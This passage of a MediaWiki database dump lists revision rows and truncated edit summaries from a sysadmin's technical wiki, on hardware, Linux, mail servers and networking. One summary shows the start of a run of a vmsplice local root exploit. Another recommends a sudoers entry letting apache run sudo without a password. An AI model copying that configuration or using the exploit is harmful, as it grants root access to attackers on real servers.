Biostar does not supply a DOS based flash utility - they expect you to i...',1,'WikiAdmin','20080923172456',0,0,1106,0),(426,143,425,'',1,'WikiAdmin','20080923172857',0,0,1205,425),(427,143,426,'/* A740G BIOS Updating */',1,'WikiAdmin','20080923182923',0,0,1925,426),(428,143,427,'',1,'WikiAdmin','20080923183331',0,0,1941,427),(434,144,433,'New page:  Need to open Microsoft .docx files in Open Office?  The newest version Of OOO supports .docx, but if you are using an older version you can use the following steps to install a command li...',1,'WikiAdmin','20080926131740',0,0,905,0),(437,145,436,'New page: == General Description ==  Tracking Code 2008140   Job Description What We\'re Looking For:  -- Technicians should be familiar with common network attack methods used against systems connec...',1,'WikiAdmin','20080929161136',0,0,4496,0),(438,146,437,'New page: In my work in a data center the subject of drive failure, predicting such and the trends in RAID levels and the real world protection offered by RAID 5 is a frequent topic.  RAID 5, once a...',1,'WikiAdmin','20081002172929',0,0,1466,0),(441,147,440,'New page:   == Browser Plugins ==  Firefox plugins are installed in    /usr/lib/browser-plugins/  No mplayer or xine mozilla extensions are installed by default, to enable browser multimedia support...',1,'WikiAdmin','20081007002452',0,0,328,0),(443,147,442,'/* Browser Plugins */',1,'WikiAdmin','20081007003849',0,0,491,441),(444,148,443,'New page:  http://www.sun.com/training/catalog/courses/WS-245.xml  A free class showing some highlights of Solaris 10 including DTrace, ZFS, containers and Solaris Security features.    http://docs....',1,'WikiAdmin','20081007122859',0,0,260,0),(445,149,444,'New page: TTL values vary wildly depending on different operating systems. Thus when you ping an address, your TTL on replies may not be waht you expected.   Here is an example, with a traceroute fr...',1,'WikiAdmin','20081007180507',0,0,3969,0),(446,149,445,'',1,'WikiAdmin','20081007180652',0,0,4068,445),(447,149,446,'',1,'WikiAdmin','20081007181317',0,0,4211,446),(450,149,449,'',1,'WikiAdmin','20081008140358',0,0,4211,447),(448,150,447,'New page: Sometime you see kernel message such as: <pre> Oct 8 00:49:24 server kernel: hdc: drive_cmd: status=0x51 { DriveReady SeekComplete Error } Oct 8 00:49:24 server kernel: hdc: drive_cmd: err...',1,'WikiAdmin','20081008131855',0,0,1120,0),(449,151,448,'New page: == Summary ==  Sometimes the journal on an ext3 file system gets corrupted. This can cause problems when an fsck is run, etc. It may be necessary to remove the ext3 journal, which converts...',1,'WikiAdmin','20081008135407',0,0,2118,0),(452,152,451,'New page:  == Kernel Drive Caching ==  Clearing inode and page caches on disk.  You can fill the cache byt doing a simply dd, or running ls -lR and reading in a big stream of data of overwrite the k...',1,'WikiAdmin','20081009122642',0,0,876,0),(626,152,624,'/* Kernel Drive Caching */',1,'WikiAdmin','20090406131852',0,0,1190,452),(453,153,452,'New page: == Intro ==  After discovering this interesting [http://macles.blogspot.com/2008/09/intel-cc-compiler-gcc-and-intel-atom.html Macles*] blog article discussing using the Intel C compiler fo...',1,'WikiAdmin','20081012161318',0,0,4832,0),(454,153,453,'/* Benchmarking */',1,'WikiAdmin','20081012163101',0,0,5638,453),(456,153,455,'/* Intro */',1,'WikiAdmin','20081012170544',0,0,5855,454),(540,153,539,'',1,'WikiAdmin','20081118193957',0,0,5868,456),(717,153,715,'/* Compiling Crafty and CFLAGS */',1,'WikiAdmin','20090816161112',0,0,6122,540),(455,154,454,'New page: == ICC vs GCC ==  The gcc compiler on Linux is practically ubiquitous. Is is available in every distro\'s repository and most people use it compiling software when binaries are not availabl...',1,'WikiAdmin','20081012170320',0,0,2985,0),(474,154,473,'',1,'WikiAdmin','20081022152720',0,0,3047,455),(458,155,457,'New page: (From the Sago Networks KB article here: http://kb.sagonet.com/MySQL_Table_Recovery_to_the_Extreme)   First log into phpMyAdmin and click on the database. Then click the checkbox next to t...',1,'WikiAdmin','20081013141304',0,0,1559,0),(459,156,458,'New page: == Dell Blinking Lights ==  How do you find out what those blinking orange lights on the Dells mean?  How do you turn those alert lights off?  This is actually extremely simple and \'\'any\'\'...',1,'WikiAdmin','20081013142003',0,0,4433,0),(672,156,670,'/* IPMI Commands */',1,'WikiAdmin','20090618142620',0,0,5110,459),(460,157,459,'New page: Here are some notes and sites on installing and configuring a Samba server for Linux.  http://www.centos.org/docs/5/html/Deployment_Guide-en-US/ch-samba.html  And here is a complete O\'Reil...',1,'WikiAdmin','20081015143008',0,0,291,0),(461,157,460,'',1,'WikiAdmin','20081015143114',0,0,372,460),(462,158,461,'New page:  \'\'\'Linplus Kernel Source:\'\'\'  The kernel source from Acer is available at:  ftp://guest@csdftp.acer.com.tw/Aspire_One_Linpus_Linux/Aspire_One_Source/linux-2.6.23.9lw.zip  http://docs.fedo...',1,'WikiAdmin','20081016002325',0,0,781,0),(465,158,464,'',1,'WikiAdmin','20081019013726',0,0,1017,462),(481,158,480,'',1,'WikiAdmin','20081023214014',0,0,1851,465),(482,158,481,'/* Kernel Compiling */',1,'WikiAdmin','20081023214229',0,0,1971,481),(483,158,482,'/* Kernel Compiling */',1,'WikiAdmin','20081023214301',0,0,2075,482),(505,158,504,'/* Kernel Compiling */',1,'WikiAdmin','20081113211456',0,0,2165,483),(506,158,505,'/* Kernel Compiling */',1,'WikiAdmin','20081113212514',0,0,2644,505),(507,158,506,'/* Kernel Compiling */',1,'WikiAdmin','20081113220301',0,0,3437,506),(547,158,546,'',1,'WikiAdmin','20081119220451',0,0,3522,507),(548,158,547,'/* Kernel Compiling */',1,'WikiAdmin','20081120023738',0,0,3702,547),(549,158,548,'',1,'WikiAdmin','20081120215252',0,0,6412,548),(550,158,549,'/* Kernel Compiling */',1,'WikiAdmin','20081120220115',0,0,6503,549),(554,158,553,'',1,'WikiAdmin','20081130200619',0,0,8028,550),(556,158,555,'/* Package & Update Dependencies */',1,'WikiAdmin','20081130204232',0,0,8844,554),(578,158,577,'/* Good Stuff to Know */',1,'WikiAdmin','20090101185954',0,0,8925,556),(580,158,579,'/* Kernel Compiling */',1,'WikiAdmin','20090104155522',0,0,9647,578),(463,159,462,'New page: == Acer Aspire One ==  Acer Aspire One (Crappy Intel SSD - SSDPAMM0008G1)  dmesg: scsi 1:0:0:0: Direct-Access     ATA      SSDPAMM0008G1    Ver2 PQ: 0 ANSI: 5 sd 1:0:0:0: [sda] 15761088 51...',1,'WikiAdmin','20081017231935',0,0,1332,0),(493,159,492,'',1,'WikiAdmin','20081105223426',0,0,2138,463),(494,159,493,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105224027',0,0,2296,493),(495,159,494,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105230922',0,0,3353,494),(496,159,495,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105232101',0,0,4719,495),(497,159,496,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105232736',0,0,5543,496),(498,159,497,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081105233451',0,0,6318,497),(499,159,498,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081106040606',0,0,7063,498),(555,159,554,'/* SSD and SDHC Benchmarks */',1,'WikiAdmin','20081130200956',0,0,7165,499),(1142,159,1140,'Replacing page with \'\n\n\n== IoZone ==\n\n\n\n== Bonnie++ ==\n\n\nhttp://www.googlux.com/bonnie.html\n\n\n== hdparm ==\n\nhttp://www.linuxinsight.com/how_fast_is_your_disk.html\n\n\n== dd ==\n\nhttp://it.toolbox.com/...\'',1,'WikiAdmin','20101001202622',0,0,232,555),(1220,159,1218,'/* Bonnie++ */',1,'WikiAdmin','20101103201721',0,0,465,1142),(464,160,463,'Linux Driver for Realtek 810x Wifi cards (e.g. 8101E) and I believe the 8169 also.',1,'WikiAdmin','20081019012916',0,0,82,0),(466,161,465,'New page:   Data recovery and file carving tools and general information.   Here is an interesting paper on file carving methods and their effectiveness: <pre>    Eindhoven University of Technology ...',1,'WikiAdmin','20081021170037',0,0,402,0),(468,161,467,'',1,'WikiAdmin','20081021170428',0,0,430,466),(469,161,468,'',1,'WikiAdmin','20081021170611',0,0,603,468),(467,162,466,'',1,'WikiAdmin','20081021170336',0,0,0,0),(472,165,471,'',1,'WikiAdmin','20081022151852',0,0,0,0),(473,166,472,'',1,'WikiAdmin','20081022152107',0,0,0,0),(475,167,474,'New page:  \'\'\'MIME Type Upload Identification\'\'\'  Issue with uploaded .png files being incorrectly identified as text/plain mime type:  http://www.mediawiki.org/wiki/Manual:Mime_type_detection  I ad...',1,'WikiAdmin','20081022153213',0,0,497,0),(477,167,476,'',1,'WikiAdmin','20081022184906',0,0,586,475),(541,167,540,'',1,'WikiAdmin','20081118201436',0,0,911,477),(476,168,475,'New page:  Whitelisting IPs in wp-admin  Create an .htaccess in wp-admin with: <pre> AuthUserFile /dev/null AuthGroupFile /dev/null AuthName “Access Control” AuthType Basic order deny,allow deny...',1,'WikiAdmin','20081022184816',0,0,498,0),(480,168,479,'',1,'WikiAdmin','20081023135307',0,0,733,476),(652,168,650,'',1,'WikiAdmin','20090518001418',0,0,827,480),(799,168,797,'',1,'WikiAdmin','20100114031054',0,0,1018,652),(478,169,477,'ZFS The Last Word In File Systems',1,'WikiAdmin','20081022191432',0,0,33,0),(486,170,485,'New page: == Information ==  http://www.xvmserver.org/ (Early release information and release schedule.)  http://www.sun.com/software/products/xvm/index.jsp (Some good videos and overviews)  http://...',1,'WikiAdmin','20081028180558',0,0,1203,0),(757,170,755,'/* Information */',1,'WikiAdmin','20091002014305',0,0,1795,486),(487,171,486,'New page: == Spanning Tree ==  \'\'\'Set up trunking:\'\'\'   interface range fastethernet 0/1 - 4  switchport trunk encap dot1q  switchport mode trunk  \'\'\'Configure Fast EtherChannel:\'\'\'   DLSwitch(confi...',1,'WikiAdmin','20081031012203',0,0,735,0),(508,171,507,'',1,'WikiAdmin','20081114000829',0,0,1151,487),(509,171,508,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114002500',0,0,1300,508),(510,171,509,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114005618',0,0,1523,509),(511,171,510,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114005745',0,0,1932,510),(512,171,511,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081114010132',0,0,2209,511),(546,171,545,'/* Wireless, QoS and CoS */',1,'WikiAdmin','20081119014848',0,0,2999,512),(551,171,550,'/* VoiP */',1,'WikiAdmin','20081120235705',0,0,3065,546),(562,171,561,'',1,'WikiAdmin','20081209202000',0,0,8457,551),(489,172,488,'New page:    == CSS Decedent Classes ==  You can create a CSS rule to apply to a specific selector only in specific instances. For example, using the selector: tr.altRow td creates a rule where any ...',1,'WikiAdmin','20081102191636',0,0,260,0),(500,173,499,'New page:   <pre> /usr/local/apache-tomcat-5.5.27/conf/tomcat-users.xml   #edited to add user for Web GUI access on /usr/local/apache-tomcat-5.5.27/conf/web.xml            #General Tomcat Config /va...',1,'WikiAdmin','20081106193007',0,0,456,0),(501,173,500,'',1,'WikiAdmin','20081106193340',0,0,610,500),(502,173,501,'',1,'WikiAdmin','20081106193802',0,0,688,501),(503,173,502,'',1,'WikiAdmin','20081106193825',0,0,730,502),(504,173,503,'',1,'WikiAdmin','20081106200516',0,0,884,503),(516,174,515,'New page:   == AddThis ==  <!-- AddThis Button BEGIN --> <script type=\"text/javascript\">addthis_pub  = \'LewsTherin\';</script> <a href=\"http://www.addthis.com/bookmark.php\" onmouseover=\"return addthi...',1,'WikiAdmin','20081116141154',0,0,1016,0),(518,174,517,'/* AddThis */',1,'WikiAdmin','20081116143402',0,0,1978,516),(519,174,518,'/* AddThis */',1,'WikiAdmin','20081116144839',0,0,2003,518),(522,174,521,'/* AddThis */',1,'WikiAdmin','20081116145826',0,0,2265,519),(523,174,522,'/* AddThis */',1,'WikiAdmin','20081116160213',0,0,3535,522),(524,174,523,'/* AddThis Widget */',1,'WikiAdmin','20081116170534',0,0,3910,523),(525,174,524,'/* Garbage Notes */',1,'WikiAdmin','20081116174643',0,0,4033,524),(526,174,525,'/* Widget Troubleshooting */',1,'WikiAdmin','20081116175049',0,0,4151,525),(527,174,526,'/* AddThis Widget */',1,'WikiAdmin','20081116195124',0,0,5729,526),(528,174,527,'/* AddThis Widget - Wordpress */',1,'WikiAdmin','20081116195355',0,0,5954,527),(530,174,529,'/* Digg Badge */',1,'WikiAdmin','20081116202549',0,0,6172,528),(531,174,530,'',1,'WikiAdmin','20081116203058',0,0,6721,530),(532,174,531,'/* Intro */',1,'WikiAdmin','20081116203638',0,0,6821,531),(534,174,533,'/* AddThis Widget - Mediawiki */',1,'WikiAdmin','20081117021608',0,0,7061,532),(536,174,535,'/* AddThis Widget - Wordpress */',1,'WikiAdmin','20081118011416',0,0,7125,534),(537,174,536,'/* AddThis Widget - Mediawiki */',1,'WikiAdmin','20081118013935',0,0,8779,536),(538,174,537,'/* AddThis Button */',1,'WikiAdmin','20081118014109',0,0,8953,537),(539,174,538,'/* AddThis Widget - Mediawiki */',1,'WikiAdmin','20081118014257',0,0,9048,538),(542,174,541,'/* Digg Badge - Wordpress */',1,'WikiAdmin','20081118203215',0,0,9888,539),(543,174,542,'',1,'WikiAdmin','20081118203525',0,0,9898,542),(544,174,543,'',1,'WikiAdmin','20081118203703',0,0,9907,543),(545,174,544,'/* Intro */',1,'WikiAdmin','20081118204936',0,0,10152,544),(600,174,599,'/* Digg Badge - Wordpress */',1,'WikiAdmin','20090211044501',0,0,10759,545),(517,175,516,'New page: {{#widget:AddThis |page_name={{PAGENAME}} |page_url={{fullurl:{{PAGENAME}}}} |account_id=LewsTherin |logo_url= |logo_background=FFFFFF |logo_color=FFFFFF |brand=My Wiki |options=favorites,...',1,'WikiAdmin','20081116141237',0,0,249,0),(520,176,519,'New page: {{#widget:AddThis |page_name={{PAGENAME}} |page_url={{fullurl:{{PAGENAME}}}} |account_id=LewsTherin |logo_url= |logo_background=FFFFFF |logo_color=FFFFFF |brand=My Wiki |options=favorites,...',1,'WikiAdmin','20081116145052',0,0,249,0),(521,176,520,'',1,'WikiAdmin','20081116145607',0,0,1700,520),(529,177,528,'',1,'WikiAdmin','20081116201242',0,0,0,0),(533,178,532,'New page: /* Any JavaScript here will be loaded for all users on every page load. */  addOnloadHook( function() {      var pops = function( elems ) {          for (var i=0; i<elems.length; i++) {   ...',1,'WikiAdmin','20081117014243',0,0,616,0),(535,178,534,'Removing all content from page',1,'WikiAdmin','20081117024932',0,0,0,533),(558,179,557,'New page: \'\'\'DJ WROTE THIS\'\'\'  <font color=\"blue\">But then Pete changed it!</font>  __TOC__  == Saving Drives ==  It seems like the last few days there have been a lot of customers with failed hard ...',1,'WikiAdmin','20081204183507',0,0,4109,0),(607,179,606,'',1,'WikiAdmin','20090217141135',0,0,6176,558),(756,179,754,'/* All Things dd_rescue and ddrescue */',1,'WikiAdmin','20090925115315',0,0,7431,607),(563,180,562,'New page:   == Phoronix ==  Description from the official web site:  \"The Phoronix Test Suite is the most comprehensive testing and benchmarking platform available for the Linux operating system. Th...',1,'WikiAdmin','20081216140732',0,0,1795,0),(564,180,563,'/* Phoronix */',1,'WikiAdmin','20081222183002',0,0,2695,563),(565,180,564,'/* Wed Results */',1,'WikiAdmin','20081222184346',0,0,2786,564),(566,180,565,'/* Phoronix */',1,'WikiAdmin','20081222185122',0,0,3559,565),(567,180,566,'/* Wed Results */',1,'WikiAdmin','20081222185434',0,0,3929,566),(568,180,567,'/* Phoronix */',1,'WikiAdmin','20081222190132',0,0,4986,567),(569,180,568,'/* Wed Results */',1,'WikiAdmin','20081222200022',0,0,4985,568),(570,181,569,'New page:  == Sendmail Basics ==  \'\'\'Documentation\'\'\'  http://docs.hp.com/en/B2355-90110/ch05s04.html   \'\'\'Queued messages\'\'\'  View the queue with:   #qmail -bp  or  #mailq  Ask sendmail to redelive...',1,'WikiAdmin','20081225165533',0,0,790,0),(571,181,570,'/* Sendmail Basics */',1,'WikiAdmin','20081225170422',0,0,1255,570),(572,181,571,'/* Sendmail Basics */',1,'WikiAdmin','20081225172031',0,0,1338,571),(573,181,572,'/* Troubleshooting Tips */',1,'WikiAdmin','20081225173516',0,0,2225,572),(574,181,573,'/* Troubleshooting Tips */',1,'WikiAdmin','20081225175920',0,0,2745,573),(576,181,575,'/* Troubleshooting Tips */',1,'WikiAdmin','20081228202107',0,0,2952,574),(577,182,576,'New page:   http://www.inquisitor.ru/support.html  http://www.linux.com/feature/149774  http://sourceforge.net/mailarchive/forum.php?forum_name=inq-discuss-en  http://sourceforge.net/projects/inq/',1,'WikiAdmin','20081231151946',0,0,186,0),(579,183,578,'New page:  Append something to the end of an existing line:  http://www.unix.com/shell-programming-scripting/70551-append-character-end-each-line-file.html  Good general sed examples:  http://studen...',1,'WikiAdmin','20090101190550',0,0,296,0),(582,184,581,'New page: Setting up a DNS server in Suse 11 is quite easy. You can set it up in Yast, using either the full Yast Xwindows GUI or the curses based Yast in bash. Having such an easy DNS set up tool i...',1,'WikiAdmin','20090111010651',0,0,4285,0),(585,184,584,'',1,'WikiAdmin','20090111013055',0,0,4759,582),(583,185,582,'',1,'WikiAdmin','20090111011015',0,0,0,0),(584,186,583,'',1,'WikiAdmin','20090111011123',0,0,0,0),(588,187,587,'New page: == Daily Operation == The planet script runs from cron.daily (a symlink to it) <pre> /var/lib/planet/generate-planets </pre>  Its just a script that runs this: <pre> #!/bin/bash cd /var/li...',1,'WikiAdmin','20090116194852',0,0,800,0),(590,188,589,'New page: == Verifying Switch Settings ==  It is usually a good idea to verify the switch port configuration when trouble shooting speed / duplex issues. It is better to do this early in the process...',1,'WikiAdmin','20090127161521',0,0,1867,0),(591,189,590,'New page:   == Workspace Assistant ==   The Workspace assistant integrates with Open Office and Microsoft Office to make sharing documents with O3Spaces easy. You install the assistant by logging in...',1,'WikiAdmin','20090128231116',0,0,1203,0),(592,189,591,'',1,'WikiAdmin','20090129012620',0,0,1940,591),(593,189,592,'/* Workspace Assistant */',1,'WikiAdmin','20090129021510',0,0,2748,592),(594,189,593,'/* Workspace Assistant */',1,'WikiAdmin','20090129021659',0,0,2821,593),(595,189,594,'/* Where to go */',1,'WikiAdmin','20090130203938',0,0,2813,594),(596,190,595,'New page: == Site Redirection ==   There are several ways to forward an entire site, or a single page to another site.  Here are several methods you can use.   \'\'\'.htaccess\'\'\'  http://www.webweaver....',1,'WikiAdmin','20090206180943',0,0,979,0),(597,190,596,'/* Site Redirection */',1,'WikiAdmin','20090206181604',0,0,1639,596),(599,191,598,'New page:   == Monitor Suspend Modes ==  To have your monitor go into suspend mode, try these:  Verify your X Config (/etc/X11/xorg.conf perhaps) contains dpms options in the monitor sections, for e...',1,'WikiAdmin','20090211003843',0,0,690,0),(1078,191,1076,'/* Monitor Suspend Modes */',1,'WikiAdmin','20100728050321',0,0,797,599),(601,192,600,'New page:  == PTR Records ==  These allow you to do a reverse DNS lookup. Given the IP address, you can determine a hostname.  http://aplawrence.com/Blog/B961.html   dig -x 66.118.149.130  To get in...',1,'WikiAdmin','20090211143729',0,0,434,0),(695,192,693,'',1,'WikiAdmin','20090715193903',0,0,2026,601),(1276,192,1274,'/* Tricks */',1,'WikiAdmin','20101212141756',0,0,2165,695),(602,193,601,'New page: == Outgoing Spam ==  \'\'\'Exim Logs with Full Paths\'\'\'  Finding the source of outgoing spam can be a serious pain in the but. Recently I found this excellent article however that gave some v...',1,'WikiAdmin','20090211200817',0,0,3014,0),(664,193,662,'/* phpsuexec */',1,'WikiAdmin','20090605185813',0,0,3208,602),(708,193,706,'/* phpsuexec */',1,'WikiAdmin','20090811142055',0,0,4016,664),(709,193,707,'/* Outgoing Spam */',1,'WikiAdmin','20090811142302',0,0,4223,708),(710,193,708,'/* Outgoing Spam */',1,'WikiAdmin','20090811142631',0,0,4393,709),(603,194,602,'New page:  == Disk Partitions ==  fdisk -l does not work in Solaris, so to collect information on partitions try these tools:   #df -kh To show mounted file systems and   #format (0,p,p) To display ...',1,'WikiAdmin','20090213012004',0,0,443,0),(604,194,603,'',1,'WikiAdmin','20090213134916',0,0,1711,603),(605,194,604,'/* Ext3 / NTFS Support */',1,'WikiAdmin','20090213135356',0,0,1711,604),(606,194,605,'',1,'WikiAdmin','20090215140032',0,0,3901,605),(732,194,730,'/* Ext3 / NTFS Support */',1,'WikiAdmin','20090902130300',0,0,4329,606),(788,194,786,'/* ZFS Tools */',1,'WikiAdmin','20091213165049',0,0,4610,732),(890,194,888,'/* ZFS Tools */',1,'WikiAdmin','20100310234152',0,0,5039,788),(891,194,889,'/* Environment Fixes */',1,'WikiAdmin','20100310234547',0,0,5166,890),(976,194,974,'/* Finding & Mounting Disk Partitions */',1,'WikiAdmin','20100604130135',0,0,5291,891),(977,194,975,'/* Package Management */',1,'WikiAdmin','20100604130258',0,0,5887,976),(609,195,608,'New page: == Cobbler PXE Environment ==  Cobbler is PXE install manager similar to the system we have been using here at Sago, however it includes additional features and greatly simplifies the mana...',1,'WikiAdmin','20090227172108',0,0,2973,0),(711,195,709,'',1,'WikiAdmin','20090812132251',0,0,8908,609),(712,195,710,'/* Command Line Tools */',1,'WikiAdmin','20090812134622',0,0,9184,711),(885,195,883,'/* Command Line Tools */',1,'WikiAdmin','20100307143451',0,0,9729,712),(886,195,884,'/* Useful Sites */',1,'WikiAdmin','20100307143512',0,0,10118,885),(887,195,885,'/* Command Line Tools */',1,'WikiAdmin','20100307180450',0,0,10510,886),(610,196,609,'New page: http://paparadit.blogspot.com/search/label/Acer%20Aspire%20One   0) Ethernet 1) Boot CD 2) Language Set up 4) Login jack / jack 4.5) Edit /etc/sshd.config - enable root login and X forward...',1,'WikiAdmin','20090307161726',0,0,565,0),(611,196,610,'',1,'WikiAdmin','20090307222902',0,0,4551,610),(612,196,611,'',1,'WikiAdmin','20090307223912',0,0,4609,611),(613,196,612,'',1,'WikiAdmin','20090309005354',0,0,5083,612),(614,196,613,'/* Wireless Drivers */',1,'WikiAdmin','20090309011832',0,0,7411,613),(615,196,614,'',1,'WikiAdmin','20090309013549',0,0,8846,614),(616,196,615,'',1,'WikiAdmin','20090309013724',0,0,8949,615),(618,196,617,'',1,'WikiAdmin','20090309232739',0,0,9723,616),(619,196,617,'[[Solaris Nevada 11.2008 Acer Aspire One Install]] moved to [[OpenSolaris Indiana 2008.11 Acer Aspire One Install]]',1,'WikiAdmin','20090309233401',1,0,NULL,618),(621,196,619,'',1,'WikiAdmin','20090309233601',0,0,9748,619),(622,196,620,'/* Attaching the Driver */',1,'WikiAdmin','20090309233717',0,0,9863,621),(617,197,616,'',1,'WikiAdmin','20090309230217',0,0,0,0),(620,198,618,'[[Solaris Nevada 11.2008 Acer Aspire One Install]] moved to [[OpenSolaris Indiana 2008.11 Acer Aspire One Install]]',1,'WikiAdmin','20090309233401',0,0,65,0),(624,199,622,'New page:  http://forums.opensuse.org/archives/sf-archives/archives-programming-scripting/345519-cron-kdialog-cannot-connect-x-server-2.html   sudo -u conan kdialog --display :0 --msgbox \"Howdy Cona...',1,'WikiAdmin','20090323173812',0,0,403,0),(625,200,623,'New page: Add to /etc/sudoers the commands you wish apache to run, for example:   apache ALL=(ALL) NOPASSWD: /usr/bin/sudo, /usr/bin/pkill, /usr/sbin/dhcpd  Also ensure there is no line containing: ...',1,'WikiAdmin','20090326150659',0,0,707,0),(627,201,625,'New page: http://crunchbang.org/wiki/vnstat-network-traffic-monitor/  http://www.sqweek.com/sqweek/index.php?p=1  http://www.timelordz.com/vnstat',1,'WikiAdmin','20090414173127',0,0,135,0),(628,202,626,'New page:   == Nessus ==  http://www.nessus.org/documentation/nessus_3.2_advanced_user_guide.pdf  OS Identification Nessus Plugins are described at:  http://blog.tenablesecurity.com/2009/02/enhanced...',1,'WikiAdmin','20090416190218',0,0,451,0),(629,202,627,'/* nmap */',1,'WikiAdmin','20090416191050',0,0,508,628),(630,203,628,'New page:   == Flush The Queue ==  Helpful Exim commands:   #exim -bp  #exim -q  Shows messages in the queue and their delivery status  To force delivery of all messages in the queue:   #exim -q  Or...',1,'WikiAdmin','20090417182522',0,0,417,0),(631,203,629,'/* Tracking Down Spam */',1,'WikiAdmin','20090417183343',0,0,924,630),(632,203,630,'/* Tracking Down Spam */',1,'WikiAdmin','20090417184215',0,0,1288,631),(633,203,631,'',1,'WikiAdmin','20090421180735',0,0,1369,632),(634,203,632,'/* Helpful Exim Links */',1,'WikiAdmin','20090421180816',0,0,1988,633),(635,204,633,'New page:  Open Computers and Software Inventory   Opensource GPL V2 software with *Nix and Windows inventory agents. Full web based management interface with advanced reporting capabilities.  http:...',1,'WikiAdmin','20090423125557',0,0,302,0),(636,204,634,'',1,'WikiAdmin','20090423184756',0,0,1571,635),(637,204,635,'/* Installation Requirements */',1,'WikiAdmin','20090424123604',0,0,1772,636),(638,204,636,'',1,'WikiAdmin','20090424134928',0,0,3695,637),(639,204,637,'/* Agent (Client) Installation */',1,'WikiAdmin','20090424141356',0,0,3694,638),(640,204,638,'',1,'WikiAdmin','20090424141412',0,0,3693,639),(641,204,639,'/* Agent (Client) Installation */',1,'WikiAdmin','20090424143725',0,0,4089,640),(642,204,640,'',1,'WikiAdmin','20090424144004',0,0,4096,641),(643,204,641,'/* Server Installation Requirements */',1,'WikiAdmin','20090424221259',0,0,4172,642),(644,204,642,'/* Open Computer and Software Inventory */',1,'WikiAdmin','20090424221421',0,0,4300,643),(645,204,643,'/* Agent (Client) Installation */',1,'WikiAdmin','20090424223215',0,0,4756,644),(690,204,688,'/* OCS Web Management Server */',1,'WikiAdmin','20090630171352',0,0,5976,645),(691,204,689,'/* Agent (Client) Installation */',1,'WikiAdmin','20090701124158',0,0,9413,690),(805,204,803,'/* Server Installation Requirements */',1,'WikiAdmin','20100115204651',0,0,10195,691),(646,205,644,'New page: Here are some bash scripts I wrote to make life easier . . .  <pre> #!/bin/bash # # This is used to set permissions on cpanel accounts correctly. This was from  # ticket Ticket #162225 - s...',1,'WikiAdmin','20090427164401',0,0,1266,0),(647,205,645,'',1,'WikiAdmin','20090427164603',0,0,1288,646),(648,206,646,'New page:  Add close buttons to tabs:   kwriteconfig --file konquerorrc --group FMSettings --key PermanentCloseButton --type bool true  http://wiki.kde.org/tiki-index.php?page=Hidden+configuration',1,'WikiAdmin','20090428135547',0,0,186,0),(657,207,655,'New page: http://it.slashdot.org/it/08/02/10/2011257.shtml  </pre> [novas@tardis ~]$ ./jessica_biel  -----------------------------------  Linux vmsplice Local Root Exploit  By qaaz -----------------...',1,'WikiAdmin','20090521151957',0,0,1241,0),(660,208,658,'New page:   RCS is a light weight method to control revisions to files.   Here is a tutorial:  http://www.athabascau.ca/html/depts/compserv/webunit/HOWTO/rcs.htm  HINT: symlink .rcs directories wher...',1,'WikiAdmin','20090522130254',0,0,302,0),(878,208,876,'',1,'WikiAdmin','20100301133233',0,0,364,660),(661,209,659,'New page: This is something I\'ve wondered about and finally decided to Google it and find out the \"How come Mr. Wizard?\" answer. It\'s pretty cool . . .   Customer: I can\'t log in! (Or I can\'t FTP) H...',1,'WikiAdmin','20090603122236',0,0,1461,0),(662,209,660,'',1,'WikiAdmin','20090603122553',0,0,1537,661),(663,210,661,'New page:  Good general info site on Syslog:  http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch05_:_Troubleshooting_Linux_with_syslog',1,'WikiAdmin','20090605184901',0,0,140,0),(665,211,663,'New page: The clever Debian devs are trimming all non-free binary blobs from the new stable kernel tree.  Which means that the NICs in our 1950s are no longer supported by default and you have to ad...',1,'WikiAdmin','20090605190313',0,0,1885,0),(676,211,674,'',1,'WikiAdmin','20090622170733',0,0,2272,665),(677,211,675,'',1,'WikiAdmin','20090622170754',0,0,2273,676),(678,211,676,'',1,'WikiAdmin','20090622175854',0,0,2420,677),(666,212,664,'New page: == Testing MS SQL Connectivity ==  Testing a connection to a remote MS SQL server can be a little bit of a pain, especially when you are used to the simplicity of doing so with mysql. Here...',1,'WikiAdmin','20090605195849',0,0,2246,0),(667,213,665,'New page: == Tomcat is not your Mama\'s Apache ==  Tomcat is a very different beast to install compared to the simplicity of Apache. Installing it under CentOS 5 is quite a bit simpler than it was in...',1,'WikiAdmin','20090608151811',0,0,3512,0),(668,213,666,'/* Sites and Guides */',1,'WikiAdmin','20090608191737',0,0,3594,667),(669,213,667,'',1,'WikiAdmin','20090609005751',0,0,8016,668),(670,213,668,'/* Deploy an Application */',1,'WikiAdmin','20090609031702',0,0,8486,669),(1222,213,1220,'/* Wed Admin */',1,'WikiAdmin','20101104143407',0,0,8542,670),(1223,213,1221,'/* Tomcat is not your Mama\'s Apache */',1,'WikiAdmin','20101104143439',0,0,8723,1222),(671,214,669,'New page:  == How long did a user run a process? ==  http://www.linuxjournal.com/article/6144  http://tldp.org/HOWTO/Process-Accounting/index.html  http://www.comptechdoc.org/os/linux/usersguide/lin...',1,'WikiAdmin','20090618025917',0,0,1951,0),(674,214,672,'',1,'WikiAdmin','20090621165304',0,0,2919,671),(675,214,673,'',1,'WikiAdmin','20090621165547',0,0,3306,674),(673,215,671,'New page:  The Evans Group Orlando, FL Workplace consists of a village, with private cottages for offices  Patagonia Ventura, CA Extreme flex time for surfing, climbing, etc.  Wonderworks Uber creat...',1,'WikiAdmin','20090620205608',0,0,287,0),(679,216,677,'New page:  Here is a good article on securing SSH, including configuring the hosts.deny and hosts.allow files  http://fedorasolved.org/post-install-solutions/securing-ssh',1,'WikiAdmin','20090623144057',0,0,160,0),(680,216,678,'',1,'WikiAdmin','20090623144225',0,0,218,679),(683,217,681,'New page: Hi guys,  Here is a list of stuff to bring and things to consider for our immanent trip to Toorcamp 2009. There are three lists: Personal stuff to bring, group stuff and food. The group st...',1,'WikiAdmin','20090629174606',0,0,2912,0),(684,217,682,'/* Personal Stuff */',4,'Kyle','20090629175607',0,0,2995,683),(685,217,683,'/* Food */',4,'Kyle','20090629190853',0,0,3089,684),(686,217,684,'',4,'Kyle','20090629190952',0,0,3019,685),(687,218,685,'New page: Here is a simple script you can use 